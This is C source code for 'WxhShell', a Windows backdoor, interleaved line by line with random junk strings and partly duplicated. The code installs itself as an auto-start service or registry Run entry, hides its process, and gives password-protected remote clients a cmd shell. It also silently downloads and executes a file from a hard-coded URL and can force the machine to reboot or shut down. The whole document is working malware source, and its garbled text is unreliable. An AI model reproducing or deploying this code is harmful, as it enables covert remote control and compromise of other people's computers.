g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;{20Heuz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tTt~W5lo TQH#sx if (!NtQueryInformationProcess) return 0; B8Z66#EQ }lVUa{ubf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E(#2/E6 if(!hProcess) return 0; h='=uj8o5 N R{:4zJT if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4r&~=up] H'> CloseHandle(hProcess); W
aU_Z/{0 ;;5i'h~?]J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \eCdGx? if(hProcess==NULL) return 0; P $S P4F t1S~~FLE HMODULE hMod; tAUMSr|? char procName[255]; nc)`ISI unsigned long cbNeeded; H_^c K 7O#>N}| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W{d/m;<@N 1\uS~RR CloseHandle(hProcess); 'iK0Wr uip]K{/A!e if(strstr(procName,"services")) return 1; // 以服务启动 rg\w!L( =UY@,*q:c return 0; // 注册表启动 ` 0F
IJT } yM@cml6Ox mr? ii // 主模块 X*Zv,Wm int StartWxhshell(LPSTR lpCmdLine) $)!Z"2T { r^)<Jy0|r SOCKET wsl; =B1!em| BOOL val=TRUE; ;Lu|fQ#u* int port=0; jC%I]#!n struct sockaddr_in door; ! ZEKvW /_\4(vvf if(wscfg.ws_autoins) Install(); dQ]j
r.
q-#fuD^ port=atoi(lpCmdLine); p(Mv^ea l<+k[@Vox if(port<=0) port=wscfg.ws_port; 3Daq5(fLP xmDwoLU WSADATA data; m`~ Qr~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9tO_hhEQ@ Ai;Pht9qi if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _1ins;c52 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2X`M&)"X door.sin_family = AF_INET; Yi`.zm door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Jt%I'C? door.sin_port = htons(port); "2J;~ szHUHW~;J if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4~4Hst#^ closesocket(wsl); F<[8!^l(z return 1; K9R[
oB]b } bu-
RU(% .@'Vz;&mQ if(listen(wsl,2) == INVALID_SOCKET) { 5|Qr"c$p closesocket(wsl); xlAaIo)T return 1; `F#KXk } gQ~4udla. Wxhshell(wsl); DVd/OU
WSACleanup(); X9 R-GT A:f+x|[ return 0; eR
CGr?e4 P\JpE } j*"s~8u4 |@RO&F // 以NT服务方式启动 2k_Bo~. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sdLFBiR { {<@~;iq DWORD status = 0; 2r,fF<WQ DWORD specificError = 0xfffffff; 15COwc*k ?4_;9MkN serviceStatus.dwServiceType = SERVICE_WIN32; _[x(p6Xp serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0:*$i(2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n2E2V<# serviceStatus.dwWin32ExitCode = 0; r"+
WUU serviceStatus.dwServiceSpecificExitCode = 0; kcle|B serviceStatus.dwCheckPoint = 0; ;1KhUf;&F serviceStatus.dwWaitHint = 0; $aG'.0HW ]#nAld1cmy hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <FP-]R) if (hServiceStatusHandle==0) return; Xp'KQ1w) {R K#W~h status = GetLastError(); rTH@PDk>) if (status!=NO_ERROR) x{rt\OT { .#X0P= serviceStatus.dwCurrentState = SERVICE_STOPPED; <YC{q>EMc serviceStatus.dwCheckPoint = 0; ]@xc9tlG serviceStatus.dwWaitHint = 0; m5S/T\,X serviceStatus.dwWin32ExitCode = status; gI]Vyg<{d serviceStatus.dwServiceSpecificExitCode = specificError; ~'ovJ46tx SetServiceStatus(hServiceStatusHandle, &serviceStatus); XP'KgTF return; ]n+:lsiV } HN:{rAIfc }~7>S5 serviceStatus.dwCurrentState = SERVICE_RUNNING; $hL0/T-m serviceStatus.dwCheckPoint = 0; 8]O|$8'" serviceStatus.dwWaitHint = 0; <^=k~7m if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PSRGlxdO } t/3veDh@ Z"n]y4h // 处理NT服务事件,比如:启动、停止 [-l^,,E VOID WINAPI NTServiceHandler(DWORD fdwControl) Uc4r { m>iuy:ti switch(fdwControl) ~Sh}\&3p { '@$?A>.cj case SERVICE_CONTROL_STOP: \R~Lf+q serviceStatus.dwWin32ExitCode = 0; dgO2fI serviceStatus.dwCurrentState = SERVICE_STOPPED; >@t]M`#&h serviceStatus.dwCheckPoint = 0; I0Vm^\8 serviceStatus.dwWaitHint = 0; :7R\"@V4 { sIyLW SetServiceStatus(hServiceStatusHandle, &serviceStatus); rJAY7/u } "PX~Yc return; |PWLFiT(> case SERVICE_CONTROL_PAUSE: Qwb@3{ serviceStatus.dwCurrentState = SERVICE_PAUSED; sx22|j`)V break; 6)W9/V-W case SERVICE_CONTROL_CONTINUE: o*<(,I% serviceStatus.dwCurrentState = SERVICE_RUNNING; {vaq,2_w break; y"2c; *7[{ case SERVICE_CONTROL_INTERROGATE: !l'Zar break; 2-$R@
SVy }; 0Vg8o @ SetServiceStatus(hServiceStatusHandle, &serviceStatus); $lO\eQGxB } z.QW*rW9 }%VHBkuc // 标准应用程序主函数 1Ao"DxZHy7 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9<R:)Df { o:?IT/> 7QQnvoP // 获取操作系统版本 R8ZW1 OsIsNt=GetOsVer(); QPBf++| GetModuleFileName(NULL,ExeFile,MAX_PATH); +'[iyHBJ 3mx7[Q // 从命令行安装 ~ WVrtY Ju if(strpbrk(lpCmdLine,"iI")) Install(); m^TkFt<BM ;$W|FpR2 // 下载执行文件 +ux,cx.U" if(wscfg.ws_downexe) { *`dGapd3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [x@iqFO9 WinExec(wscfg.ws_filenam,SW_HIDE); 9{+B lNZ } ?f a/}|T 3 iY`kf if(!OsIsNt) { Z!*Wn`d-k // 如果时win9x,隐藏进程并且设置为注册表启动 W{k}ogI; HideProc(); %cBJ haR{( StartWxhshell(lpCmdLine); '06[@Cw } ,\Cy'TSz else 6n>+cX>E if(StartFromService()) kg_TXB // 以服务方式启动 Z{%h6"" StartServiceCtrlDispatcher(DispatchTable); }APf^Ry else f9;M"Pd // 普通方式启动 A6-JV8^ StartWxhshell(lpCmdLine); `>K;S!z +|^rz#X return 0; P}cGWfj } d~qDQ6! [~$9n_O94 42Z2Mjtk J.~$^-&! =========================================== htIV`_<Ro RF qbwPX U#YM)8;Iz ni9/7 kGCd!$fsk hMi`n6m " ^ng?+X>mP e5MX5 T^ #include <stdio.h> g&v2=&aj #include <string.h> Zpg$:Rr #include <windows.h> 75gE>:f #include <winsock2.h> S?;&vs9j #include <winsvc.h> 9^ )=N=wV #include <urlmon.h> #p0vrQ;5f 0&Zm3(} #pragma comment (lib, "Ws2_32.lib") o4tQ9X=} #pragma comment (lib, "urlmon.lib") eqYa`h@g^ |[C3_'X #define MAX_USER 100 // 最大客户端连接数 IEHAPt' #define BUF_SOCK 200 // sock buffer u PjJ>v #define KEY_BUFF 255 // 输入 buffer F $B_;G cu.f]' #define REBOOT 0 // 重启 9FK%"s` #define SHUTDOWN 1 // 关机 $5:j" )$, waldLb>7D #define DEF_PORT 5000 // 监听端口 qY0p)`3!% tZwZZ0]Z #define REG_LEN 16 // 注册表键长度 Hcuvu[)T" #define SVC_LEN 80 // NT服务名长度 )V} t(>V sAWUtJ // 从dll定义API K`D>G< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8h}o5B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9>%ti&_-jt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GVe[)R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BG/M3 y?;&(Tcbt8 // wxhshell配置信息 eA4@)6W P( struct WSCFG { an=8['X int ws_port; // 监听端口 b<NI6z8\ char ws_passstr[REG_LEN]; // 口令 3`$- int ws_autoins; // 安装标记, 1=yes 0=no K'Wg_ihA char ws_regname[REG_LEN]; // 注册表键名 p8frSrcU char ws_svcname[REG_LEN]; // 服务名 ]^p6dbzWe char ws_svcdisp[SVC_LEN]; // 服务显示名 &+Xj%x.] char ws_svcdesc[SVC_LEN]; // 服务描述信息 _|`S9Nms char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,)|nxX int ws_downexe; // 下载执行标记, 1=yes 0=no V'^Hn?1^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D!+d]A[r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .sgP3Ah ymiOtA Z }; ESft:3xyw ]:8:|*w // default Wxhshell configuration Wyd,7]'z)Z struct WSCFG wscfg={DEF_PORT, cE$7CSR "xuhuanlingzhe", 0ERA(=w5 1, tY~EB.% "Wxhshell", ~sx?aiO "Wxhshell", 3[amCKel "WxhShell Service", Z`Rrv$M! "Wrsky Windows CmdShell Service", Nyip]VwMJ "Please Input Your Password: ", uPQ:}zL2 1, y}Oc^Fc "http://www.wrsky.com/wxhshell.exe", :>c33X} "Wxhshell.exe" {}y"JbXMj }; >$j?2,Za(V .Ce30VE- // 消息定义模块 K1Snag char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tq,Kel char *msg_ws_prompt="\n\r? for help\n\r#>"; >hQeu1 ~W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S=@.<gS char *msg_ws_ext="\n\rExit."; y yW;VKN char *msg_ws_end="\n\rQuit."; 9(V12gn+lk char *msg_ws_boot="\n\rReboot..."; wsYvbI! char *msg_ws_poff="\n\rShutdown..."; Mj|\LF + char *msg_ws_down="\n\rSave to "; Lk9X>`b#B 2x<,R/} char *msg_ws_err="\n\rErr!"; e3oHe1"hP char *msg_ws_ok="\n\rOK!"; Bf1,(^3XH >08'+\~:b char ExeFile[MAX_PATH]; -<h4I
aM int nUser = 0; %F_)!M;x HANDLE handles[MAX_USER]; F<39eDNpz int OsIsNt; "N>~] D,b'1= SERVICE_STATUS serviceStatus; 3copJS SERVICE_STATUS_HANDLE hServiceStatusHandle; XEl-5-M" ;89 `!V O // 函数声明
T)?:q int Install(void); :[YHJaK int Uninstall(void); LX2rg\a+% int DownloadFile(char *sURL, SOCKET wsh); P|%uB'|H int Boot(int flag); =bgzl=A` void HideProc(void); _FR_6*C)5 int GetOsVer(void); 6}4?,r int Wxhshell(SOCKET wsl); %38HGjS void TalkWithClient(void *cs); 1fUg int CmdShell(SOCKET sock); -j9Wf= int StartFromService(void); cNOtfn6?F int StartWxhshell(LPSTR lpCmdLine); ^h\& l{e ~
"Xcd8: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Is57)(^.- VOID WINAPI NTServiceHandler( DWORD fdwControl ); W<|
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// 数据结构和表定义 m[n=t5~ SERVICE_TABLE_ENTRY DispatchTable[] = g9C/Oj`I { wX<w)@ {wscfg.ws_svcname, NTServiceMain}, [QwEidX| {NULL, NULL} 89hV{^ }; i7D[5! wr>[Eo@%\ // 自我安装 ?i'N9 /( int Install(void) F#NuZ'U { t$~CLq5ad char svExeFile[MAX_PATH]; v_^>*Vm* HKEY key; U1nObA strcpy(svExeFile,ExeFile); C)Ep}eHjf_ %x{jmZ$} // 如果是win9x系统,修改注册表设为自启动 o_ng{SL if(!OsIsNt) { 6)=`&>9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -@bOFClE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -4wr)zjfW RegCloseKey(key); ^IW5c>;| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r)<c
~\0 7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gOb"-;Zw RegCloseKey(key); M]|tXo$? return 0; t^Z-0jH } jEh Px } CZZwBt$P } 28 Q\{Z. else { vo(riHH A; _Zw[ // 如果是NT以上系统,安装为系统服务 -So$f-y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R`
g'WaDk if (schSCManager!=0) '_ZiZ4O { T8^`<gr. SC_HANDLE schService = CreateService "t0l)P*C} ( 2 nra@ schSCManager, VN3[B
eH wscfg.ws_svcname, Z-%zR'-?* wscfg.ws_svcdisp, 65 ]>6D43 SERVICE_ALL_ACCESS, *? V boyU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rF ?gKk SERVICE_AUTO_START, [/=Z2mtA SERVICE_ERROR_NORMAL, Yw(O}U 5e svExeFile, _p*a`,tK NULL, m3#rU%Wj NULL, LUaOp
" NULL, t]gZ^5 NULL, ?i{/iH~Sf NULL !(gMr1}w ); R1C}S if (schService!=0) (jmF7XfU { >;Ag7Ex CloseServiceHandle(schService); v_|k:l CloseServiceHandle(schSCManager); H~$*R7~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,tTq25~H\ strcat(svExeFile,wscfg.ws_svcname); Efp[K}Z^$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 56JxHQu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8&Md=ZvK` RegCloseKey(key); LA]UIM@ return 0; i2P:I A|@ } jWL%*dJrN } ]Z IreI CloseServiceHandle(schSCManager); +7\"^D } w%1-_;.aU6 } z{H=;"+rh gCV+amP return 1; f/95}6M } sEymwpm9 YMn*i<m // 自我卸载 [CG3&J int Uninstall(void) b^:frjaE3 { #fx>{ vzH HKEY key; CSwPL>tUV 1,7 if(!OsIsNt) { \/s0p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NR3h|'eC RegDeleteValue(key,wscfg.ws_regname); 3*zywcTH RegCloseKey(key); 9ls*L!Jw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D wfw|h RegDeleteValue(key,wscfg.ws_regname); v#|yr< RegCloseKey(key); ?zuKVi?I return 0; sTS/]"l } D_q"|D$SB } ~2;\)/E\ } ^ItL_4 else { LzTdi%u$0| B ({g|}|G+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HDO_r(i if (schSCManager!=0) <KX fh { }U'VVPh_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OF} ."a if (schService!=0) %At.nlss { RkZyqt
@+ if(DeleteService(schService)!=0) { BgT(~8' CloseServiceHandle(schService); d`UK mj CloseServiceHandle(schSCManager); r$:hiE@ return 0; fHODS9HQ } + )n}n5 CloseServiceHandle(schService); "+M0lGTB } oFb~|>d CloseServiceHandle(schSCManager); .~C%:bDnX7 } EK&";(x2( } a>Wr2gPko *X5<]{7c return 1; Kzx`
E>,z' } /_X`i[ @_$Un&eo // 从指定url下载文件 .ah[!O int DownloadFile(char *sURL, SOCKET wsh) |It&1fz} { Q@1SqK#-DQ HRESULT hr; "l{{H&d char seps[]= "/"; e3mFO+ char *token; #-i#mbZ e char *file; a/</P
|UG char myURL[MAX_PATH]; ||L^yI~_d char myFILE[MAX_PATH]; &5[B\yv Wo(m:q(Om strcpy(myURL,sURL); ~/qBOeU3 token=strtok(myURL,seps); 3a|pk4M while(token!=NULL) h1H$3TpP { QHxof7 file=token; H$V`,=H token=strtok(NULL,seps); dT0>\9ZNr } 1Va=.#< F9"Xu-g GetCurrentDirectory(MAX_PATH,myFILE); Z~w2m6;s strcat(myFILE, "\\"); Wecxx^vtv6 strcat(myFILE, file); S5kD|kJ send(wsh,myFILE,strlen(myFILE),0); lMl'+ yy send(wsh,"...",3,0); zGdYk-H3TH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /'/i?9: if(hr==S_OK) t3AmXx return 0; nu)YN1
* else 6L;]5)# return 1; *aJO5&w<T |e<$ } 9 p,O>I (_]!}N // 系统电源模块 ;b(ww{& int Boot(int flag) (*b<IGi; { Xr:s-L HANDLE hToken; :dQRrmM TOKEN_PRIVILEGES tkp; P4zwTEk` ^f57qc3nF if(OsIsNt) { /M JI^\CA OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /~Bs5f.]? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MsZx 0] tkp.PrivilegeCount = 1; $o0.oY#
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N/'8W9#6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
peHjKK if(flag==REBOOT) { i&8|@CACb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FQ>kTm`d return 0; w+r).PS}C } KnKf8c else { bT6VxbNS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8A5/jqnqt return 0; x4/{XRQ } 6{{<+
o } {kBsiSvsA; else { 5dhy80|g] if(flag==REBOOT) { oaZdvu@y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C_'EO<w$ return 0; E[7E%^:Mg } XUKlgl!+. else { 9]{va"pe7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N:CQ$7T{ j return 0; *dxm|F98 } %%/8B } sgDSl@lB BY&{fWUo return 1; cly} [<w! } icX4n MV??S{^4 // win9x进程隐藏模块 ~o/k?l void HideProc(void) jO/cdLKX( { Faa>bc~E {6WG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q7<d|s if ( hKernel != NULL ) OR*JWW[] { C/QmtT~`e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t|V<K^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &AOGg\ FreeLibrary(hKernel); :8]8[ } }*U|^$FEU iE}] E return; / Y od } 6VC|]
|* a5R.
\a<q // 获取操作系统版本 MPDRMGR@i int GetOsVer(void) h_{f_GQ" { ]8fn1Hx\ OSVERSIONINFO winfo; L"/?[B": winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )bR0>3/ GetVersionEx(&winfo); BWvM~no if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iC5HrOl6U return 1; %)r:!R~R else J
<;xkT1x return 0; iCA-X\E } N$=9R 39hep8+ // 客户端句柄模块 ^N[ Cip}8 int Wxhshell(SOCKET wsl) #HH[D;z { $,J}w%A SOCKET wsh; ,(a~vqNQW3 struct sockaddr_in client; ]{q=9DczG( DWORD myID; 6dmb
bgO) b_ak@LYiu while(nUser<MAX_USER) 6r`N\ :18 { U65l o[ int nSize=sizeof(client); tW4X+d" wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ju'aUzn if(wsh==INVALID_SOCKET) return 1; j6EF0/_|e -seLa(8F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <8;~4"'a if(handles[nUser]==0) 1/m$#sz closesocket(wsh); Gp
\-AwE else W^h,O+vk nUser++; fv#ov+B } A_\Jb}J1< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xGQP*nZ W4&8 return 0; [uHU[
sG } Z{BK@Q4z R.*;] R>M // 关闭 socket <W!n lh void CloseIt(SOCKET wsh) 2I}+AW!!= { ,*U-o}{8C? closesocket(wsh); Za1mI^ L1 nUser--; [ i,[^ ExitThread(0); E"_{S.Wc } 1HKA`]D"p Jw@X5-(Cp // 客户端请求句柄 R[v0T/ void TalkWithClient(void *cs) 9#9bm { 0RtZTCGO )I3E SOCKET wsh=(SOCKET)cs; >;1w-n char pwd[SVC_LEN]; pP1DR' char cmd[KEY_BUFF]; o-Dfud@ char chr[1]; <uv`)Q 9 int i,j; XVt;hO Y @'do) while (nUser < MAX_USER) { ]T'8O` "i(f+N,) if(wscfg.ws_passstr) { \t1#5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kJJiDDL0;* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G-2~$ u //ZeroMemory(pwd,KEY_BUFF); nvf5a-C+q i=0; AV2Jl"1)z while(i<SVC_LEN) { $)"T9$>$ p@%Pdx // 设置超时 j@(S7=^C6% fd_set FdRead; 5hy7}*dR struct timeval TimeOut; NZv 8# FD_ZERO(&FdRead); |v%$Q/zp& FD_SET(wsh,&FdRead); U5N |2 TimeOut.tv_sec=8; :AFW= e@< TimeOut.tv_usec=0; k^8;3#xG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8v2Wi.4T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d;p3cW" H @k} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]:D&kTc pwd=chr[0]; FS&QF@dtgf if(chr[0]==0xd || chr[0]==0xa) { -e(<Jd_= pwd=0; -s2)!Iko& break; *Vq'%b9 } ]S s63Vd i++; l<uI-RX" } Uz,P^\8^$ Jj[3rt?8 // 如果是非法用户,关闭 socket Mn/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ! PGCoI } {CR`~)v& ,"`3N2!Y} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }NwmZw>_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )e PQxx Cj3Xp~ while(1) { 9 c9$cnQ _ps4-<ugC ZeroMemory(cmd,KEY_BUFF); Zy3F%]V0 `Zo5!"' // 自动支持客户端 telnet标准 jrN 5l1np j=0; *!y04'p`< while(j<KEY_BUFF) { c^1JSGv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OfBWf6b cmd[j]=chr[0]; *!"T^4DEg if(chr[0]==0xa || chr[0]==0xd) { X%-hTl cmd[j]=0; #S/~1{ break; U&B(uk(2 } SGZYDxFC@ j++; J+ :3==, } (AZneK
:* }])j>E // 下载文件 HI D6h! if(strstr(cmd,"http://")) { 8q9^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); gM1:*YK if(DownloadFile(cmd,wsh)) |n,O!29 send(wsh,msg_ws_err,strlen(msg_ws_err),0); i=b'_SZ' else @]X!#&2> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9mMQ } t"%~r3{ else { #Qz9{1\G K
~\b+ switch(cmd[0]) { qfFa" a EMH-[EBx // 帮助 EiM\`"o case '?': { ~8k`~t! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]A-LgDsS break; gPKO-Fsd" } |Zn,|-iW // 安装 %iIr %P? case 'i': { l@UF-n~[ if(Install()) u_ :gqvC= send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9} C(M?d else L)|hjpQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {yf,:5 break; <]S
M$)=D } nrpbQ(zI* // 卸载 T[},6I|! case 'r': { %:l\Vhhz if(Uninstall()) C&d,|e "\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,bzgjw+R5 else 0[g5[?Vy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i0x[w>\- break; 9Y# vKb{> } :WH0=Bieh // 显示 wxhshell 所在路径 w{;bvq%lY case 'p': { 2V9"{F? char svExeFile[MAX_PATH]; !h1|B7N strcpy(svExeFile,"\n\r"); =hh,yi strcat(svExeFile,ExeFile); @&G
%cW( send(wsh,svExeFile,strlen(svExeFile),0); q,Nqv[va break; GZ:1bV37% } Vz,"vBds
// 重启 pDr/8HEh case 'b': { 9WoTo ,q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J{uqbrJICr if(Boot(REBOOT)) "el3mloR8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); %kBrxf else { v%c--cO(S4 closesocket(wsh); ]a~gnz&1 ExitThread(0); >]\oVG } QE;,mC> break; I%{D5.du } g ?%]()E // 关机 EJ:2]!O case 'd': { czo*_q% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k
lr1"q7 if(Boot(SHUTDOWN)) ^?0WE send(wsh,msg_ws_err,strlen(msg_ws_err),0); y3'K+?4 else { A:sP%c; closesocket(wsh); v'y<}U ExitThread(0); 3XjY } 4NFvX4 break; ]ao%9:P; } n)]u|qq // 获取shell ;x{J45^
case 's': { )hA)`hL
F CmdShell(wsh); uhmSp+% closesocket(wsh); Dm;aTe ExitThread(0); [py/\zkn break; @q" #.?>s } L|2WTyMU // 退出 >Cr'dKZ} case 'x': { HFj@NRE6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a=^>A1= CloseIt(wsh); h7\16j break; h5H#xoCXp } 98l- // 离开 2;ogkPv ' case 'q': { 7tT L,Nxe send(wsh,msg_ws_end,strlen(msg_ws_end),0); wAF#N1-k closesocket(wsh); r$d'[ZcX WSACleanup(); 6CWm;%B#G exit(1); {1wjIo"ptg break; @JD!.3 } 7bam`)n } %Zu+=IZ } !Ie={BpzbZ SC0_ h(zb, // 提示信息 K&vqk/JW1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %LdFS~ } yD&UH_ 1g } AUkePp78 ,?!4P+ob return; 3:P "6mN } xOpCybmc X9uYqvP\( // shell模块句柄 s\1c. int CmdShell(SOCKET sock) N^tH&\G\m { 0',-V2 STARTUPINFO si; 0(!=N1l ZeroMemory(&si,sizeof(si)); [E%Ov0OC si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z 4`H<Pn si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e#uF?v]O PROCESS_INFORMATION ProcessInfo; |S VL%agZ char cmdline[]="cmd"; _/[(&}M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w8AHs/'r return 0; F1zsGlObu} } h)C`w'L OOX}S1lA // 自身启动模式 Q pbzx/2h int StartFromService(void) NA8$G|.? { wn{DY
v7B typedef struct 'St\$X
{ {BJn9B DWORD ExitStatus; J{5&L &4 DWORD PebBaseAddress; GCA?sFwo> DWORD AffinityMask; |/35c0IM DWORD BasePriority; {d,~=s0T ULONG UniqueProcessId; 'd
6z^Z6 ULONG InheritedFromUniqueProcessId; A@ lY{e } PROCESS_BASIC_INFORMATION; Jq?"?d|: 7q _.@J PROCNTQSIP NtQueryInformationProcess; m:XMF)tW ghqq%g static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !|S{e^WhbU static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K F`@o@, zz+[]G+"2m HANDLE hProcess; "@)9$-g PROCESS_BASIC_INFORMATION pbi; 3DO
^vV T]Eg9Y:+v HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tj*Vk $}0 if(NULL == hInst ) return 0; t1tZ:4 Vnq&lz%QqC g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8L*P!j9`EY g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CR<Nau> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _!*??B6u n$y)F} .- if (!NtQueryInformationProcess) return 0; )`.'QW qB IKJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?KfV>.() if(!hProcess) return 0; uCNi&. v=I 'rx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {m+(j (6- o=VDO,eS CloseHandle(hProcess); 7Z<ba^r} 6> Szxkz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PxHHh{y%c if(hProcess==NULL) return 0; Os-sYaW H|0GRjC HMODULE hMod; (AnM_s char procName[255]; Xm2p<Xu8h unsigned long cbNeeded; UjU*`}k3 -NyfW+T={ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *^&2L,w +8AGs, 